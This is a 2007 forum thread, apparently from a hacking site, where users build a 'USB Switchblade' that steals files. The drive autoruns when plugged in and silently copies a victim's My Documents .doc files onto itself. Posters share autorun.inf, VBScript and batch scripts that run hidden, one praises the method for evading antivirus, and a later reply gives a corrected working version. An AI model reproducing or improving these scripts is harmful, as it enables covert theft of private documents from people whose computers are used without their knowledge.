grayskin Posted November 29, 2007 Share Posted November 29, 2007 Is it possible to extract a whole folder, and dump it into the USB Switchblade? What would it take to accomplish this? Is there any existing files that are able to do this? Or that can be modified? All help is appreciated :) Quote Link to comment Share on other sites More sharing options...
digip Posted November 29, 2007 Share Posted November 29, 2007 Any simple batch script that does the same thing on a pc from folder to folder would do the same for any USB drive so long as you have rights to access the files. Quote Link to comment Share on other sites More sharing options...
Sparda Posted November 29, 2007 Share Posted November 29, 2007 The only issue that occurs to me is the amount of data you will actually be copying. Flash is slow, it can take a long time to write 50 small files (even longer on windows). It would be wise to look in to using a more intelligent scripting language (perl?) that can be used to determine if copying should proceed based on the number of files and the size of the files. Quote Link to comment Share on other sites More sharing options...
grayskin Posted November 30, 2007 Author Share Posted November 30, 2007 I don't know what I'm doing wrong. Can someone more experienced give me a hand? autorun.inf [autorun] action=Open Files On Folder icon=iconsdrive.ico shellexecute=nircmd.exe execmd CALL start.bat start.bat xcopy "C:Documents and Settings%username%My Documents*.doc" /s/c/q/r/h Quote Link to comment Share on other sites More sharing options...
GonZor Posted November 30, 2007 Share Posted November 30, 2007 I don't know what I'm doing wrong. Can someone more experienced give me a hand? autorun.inf [autorun] action=Open Files On Folder icon=iconsdrive.ico shellexecute=nircmd.exe execmd CALL start.bat start.bat xcopy "C:Documents and Settings%username%My Documents*.doc" /s/c/q/r/h In start.bat you are missing the destination, it should look more like this XCOPY [source] [destination] (arguments) If you need a better explanation open a command prompt and type XCOPY /? Quote Link to comment Share on other sites More sharing options...
sc0rpi0 Posted December 7, 2007 Share Posted December 7, 2007 I suppose what you are referring to is podslurping. This technique I am posting is really good because. . . 1. you can adjust what it takes from the computer 2. No AV detection 3. You can see all the code occuring. . . its a batch file! Good luck! Here's the link http://www.usbhacks.com/2006/10/29/how-to-...sb-flash-drive/ Quote Link to comment Share on other sites More sharing options...
Volsfan91 Posted December 8, 2007 Share Posted December 8, 2007 Yeah, I'll tell you how I'm doing it and not having much luck. I'm trying to make it autorun from the U3 and it's just not working. CD Partition- autorun.inf, which starts autorun.bat, which starts a VBS script that was created by someone on here. [autorun] open=autorun.bat name=autorun @ECHO off start .Autorun.vbs exit Set objFSO = CreateObject("Scripting.FileSystemObject") Set objShell = CreateObject("Wscript.Shell") Set colDrives = objFSO.Drives Set objEnv = objShell.Environment("PROCESS") objEnv("Year") = Year(now()) objEnv("Month") = Right("0" & Month(now()), 2) objEnv("Day") = Right("0" & Day(now()), 2) objEnv("Hour") = Right("0" & Hour(now()), 2) objEnv("Minute") = Right("0" & Minute(now()), 2) objEnv("Second") = Right("0" & Second(now()), 2) For Each objDrive in colDrives   If objFSO.FileExists(objDrive.DriveLetter & ":SystemSRCdrv.dat") Then     strPath = objDrive.Driveletter & ":"     If objFSO.FileExists(strPath & "SystemSRCPL.dat") Then       objShell.Run ".SystemSRCgo.bat " & strPath , 0, False     End If   End If Next On the flash partition, in SYSTEM/SRC/, there exists PL.dat, slurp.bat & start.bat. This file is empty and just serves as a flag. @echo off @start /min slurp.bat /B @exit @echo off mkdir %~d0%computername% xcopy "C:Documents and Settings%username%My Documents*.doc" %~d0%computername% /s/c/q/r/h @cls @exit Hopefully, those examples can be of some benefit to you, although in their current state they are not working for me. Quote Link to comment Share on other sites More sharing options...
GonZor Posted December 8, 2007 Share Posted December 8, 2007 @Volsfan91 The VBScript you have there was written by me, the problem you have is you are using scripts that weren't made for what you want to do, you simply need the following three scripts, rather than five. Autorun.inf - Placed on the root of the U3 partition. Autorun.vbs - Placed on the root of the U3 partition. Slurp.bat - Placed on the root of the flash partition. [autorun] open=wscript .autorun.vbs Set objFSO = CreateObject("Scripting.FileSystemObject") Set objShell = CreateObject("Wscript.Shell") Set colDrives = objFSO.Drives For Each objDrive in colDrives   If objFSO.FileExists(objDrive.DriveLetter & ":slurp.bat") Then     strPath = objDrive.Driveletter & ":slurp.bat " & objDrive.Driveletter     objShell.Run strPath , 0, False   End If Next Set objFSO = Nothing Set objShell = Nothing Set colDrives = Nothing @echo off mkdir %1:%computername% xcopy "%userprofile%My Documents*.doc" %1:%computername% /s /c /q /r /h Quote Link to comment Share on other sites More sharing options...
beakmyn Posted December 8, 2007 Share Posted December 8, 2007 Not to split hairs but if you wanted you could put everything into the autorun.vbs script and use the methods of the file system object to do the same thing. Is is faster? I don't know but the weakest link is the speed of the flash write not the script. Recursion is easier, IMHO in vbs. I'll whip something up next week to show you. Quote Link to comment Share on other sites More sharing options...
Volsfan91 Posted December 9, 2007 Share Posted December 9, 2007 Thanks for the help gonzor, but it's still not working for me. AUTORUN.INF and AUTORUN.VBS are both on U3 root, slurp.bat on flash, still no luck. Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.